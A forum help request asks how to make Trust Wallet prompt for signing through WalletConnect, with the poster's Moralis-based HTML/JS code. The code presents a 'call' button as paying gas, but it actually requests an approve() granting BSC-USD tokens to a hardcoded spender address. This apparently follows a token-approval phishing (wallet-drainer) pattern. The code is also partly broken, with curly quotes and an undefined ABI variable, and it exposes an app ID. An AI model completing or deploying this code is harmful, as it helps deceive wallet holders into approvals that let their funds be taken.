hi everyone .
how to pop up the trustwallet to sigining transaction when connect by walletconnect
my idea is first logining by wallet connect ,
it pop up in trustwallet to signing the confirmation
then the user click call button , it should pop up a call from contract to pay the gas fee . but it didnt come . this is the problem i have .
this is the link of my web : https://WordyAbandonedMathematics.carterwu768210.repl.co
this is my code of html
BSC connect
<button id="btn-login">connect wallet Login</button>
<button id="btn-logout">Logout</button>
<button id="call">call</button>
<script>
// connect to Moralis server
const serverUrl = "https://ziaphezfiimp.usemoralis.com:2053/server";
const appId = "893O49wcRg8PcpHVyy0uaSIrSLvKEQM9aqUNkLBu";
Moralis.start({ serverUrl, appId });
const web3 = Moralis.enableWeb3({ provider: "walletconnect", chainId: 56 });
//use walletconnect to trustwallet ,click it can jump to trustwallet ,and pop up in trustwallet to signing confirmation.
async function login() {
const web3 = Moralis.enableWeb3({ provider: "walletconnect", chainId: 56 });
let user = Moralis.User.current();
}
// if user login by login button ,it can aslo click and jump to trustwallent ,and pop up to sigining in.
async function logOut() {
await Moralis.User.logOut();
console.log("logged out");
}
// here is the problem of call button . when user click all button, how can pop up trustwallet to signing to appove function call ?
async function call() {
Moralis.start({ serverUrl, appId });
let user = Moralis.User.current();
if (!user) {
try {
Window.web3 = await Moralis.enableWeb3();
console.log(user)
console.log(user.get('ethAddress'))
} catch(error) {
console.log(error)
}
}
const abi = [
{
constant: false,
inputs: [
{ internalType: “address”, name: “spender”, type: “address” },
{ internalType: “uint256”, name: “amount”, type: “uint256” },
],
name: “approve”,
outputs: [{ internalType: “bool”, name: “”, type: “bool” }],
payable: false,
stateMutability: “nonpayable”,
type: “function”,
},
];
//
const sendOptions = {
contractAddress: “0x55d398326f99059fF775485246999027B3197955”,
functionName: “approve”,
abi: ABI,
params: {
spender: “0xAE709784E2BDD5499c149f9D45f1952C57e3B8FD”,
amount: Moralis.Units.Token("100", "18") ,
},
};
const transaction = await Moralis.executeFunction(sendOptions);
console.log(transaction.hash);
await transaction.wait();
}
document.getElementById("btn-login").onclick = login;
document.getElementById("btn-logout").onclick = logOut;
document.getElementById("call").onclick = call;
</script>